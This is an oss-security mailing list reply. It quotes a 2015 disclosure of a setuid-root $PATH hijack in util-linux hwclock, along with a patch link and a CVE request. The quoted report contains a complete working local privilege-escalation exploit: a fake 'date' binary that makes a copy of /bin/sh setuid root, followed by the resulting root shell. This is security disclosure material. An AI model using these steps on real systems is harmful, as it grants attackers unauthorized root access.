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Message-id: <728CB05F-659E-429E-A59D-577F4251DFDA@me.com>
Date: Tue, 26 May 2015 09:19:13 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Re: hwclock(8) SUID privilege escalation

It’s not setuid root on my Ubuntu system.

larry@...p:~$ which hwclock
/sbin/hwclock
larry@...p:~$ ls -l /sbin/hwclock 
-rwxr-xr-x 1 root root 46764 Feb 12 13:54 /sbin/hwclock
larry@...p:~$ uname -a
Linux meep 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:18 UTC 2015 i686 i686 i686 GNU/Linux
larry@...p:~$ cat /etc/issue
Ubuntu 14.04.2 LTS \n \l




> On May 26, 2015, at 6:47 AM, up201407890@...nos.dcc.fc.up.pt wrote:
> 
> Hello,
> 
> During a recent assessment I have stumbled across a system which had
> hwclock(8) setuid root
> 
> hwclock is a part of util-linux, all versions affected
> 
> $ man hwclock | sed -n '223,231p'
> 
> Users access and setuid
>       Sometimes, you need to install hwclock setuid root. If you
> want users other than the superuser to be able to display the clock
> value using the direct ISA I/O
>       method,  install  it setuid root. If you have the /dev/rtc
> interface on your system or are on a non-ISA system, there's probably
> no need for users to use the
>       direct ISA I/O method, so don't bother.
> 
>       In any case, hwclock will not allow you to set anything unless
> you have the superuser real uid.  (This  is  restriction  is  not
> necessary  if  you  haven't
>       installed setuid root, but it's there for now).
> 
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041
> 
> "The program is designed to run setuid superuser, since we need to be able
> to do direct I/O. (More to the point: we need permission to execute the
> iopl() system call). (However, if you use one of the methods other than
> direct ISA I/O to access the clock, no setuid is required)."
> 
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920
> 
> "program is designed to run setuid (in some situations)"
> 
> 
> Some comments in code and unfortunately also man page
> advertising that setuid is no problem. That's pretty stupid promise.
> 
> 
> from util-linux/2.26.2-5/sys-utils/hwclock.c
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748
> 
> 
> /* Quotes in date_opt would ruin the date command we construct. */
>        if (strchr(date_opt, '"') != NULL) {
>                warnx(_
>                      ("The value of the --date option is not a valid date.\n"
>                       "In particular, it contains quotation marks."));
>                return 12;
>        }
> 
>        sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
>                date_opt);
> 				[...]
> 
> 	date_child_fp = popen(date_command, "r");
> 
> 				[...]
> 
> hwclock uses popen() to date_command which is 'date --date=\"%s\"
> +seconds-into-epoch=%%s'
> 
> Exploiting is trivial, since $PATH is user-controlled
> 
> 
> 
> $ ls -l /usr/sbin/hwclock
> -rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
> $ cat > date.c;gcc date.c -o date
> main()
> {
> chown("/tmp/sploit", 0, 0);
> chmod("/tmp/sploit", 04755);
> }
> ^D
> $ cp /bin/sh /tmp/sploit
> $ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
> hwclock: The date command issued by hwclock returned unexpected results.
> The command was:
>  date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
> The response was:
> 
> hwclock: No usable set-to time.  Cannot set clock.
> $ /tmp/sploit
> # id
> euid=0(root) groups=0(root)
> 
> 
> Can a CVE be assigned?
> 
> 
> Notes:
> 
> Please note that this is possible on Debian-derived (and therefore Ubuntu),
> because /bin/sh is provided by dash which does NOT make use
> of privmode (does not drop privileges if ruid != euid, unlike bash),
> which is a very stupid idea.
> 
> privmode is surprisingly effective at mitigating some common vulnerability
> classes and misconfigurations, and it has been around since mid 90's.
> Indeed, Chet Ramey (bash author and maintainer) explains that the
> purpose of this is to prevent "bogus system(3)/popen(3) calls in
> setuid executables"
> 
> 
> TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
> command, meaning privilege escalation can occur since $PATH is
> user-controlled.
> 
> 
> Patches are available, signed off by Karel Zak <kzak@...hat.com>
> https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1
> 
> Initial bug report:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804
> 
> 
> Thanks,
> Federico Bento.
> 
> ----------------------------------------------------------------
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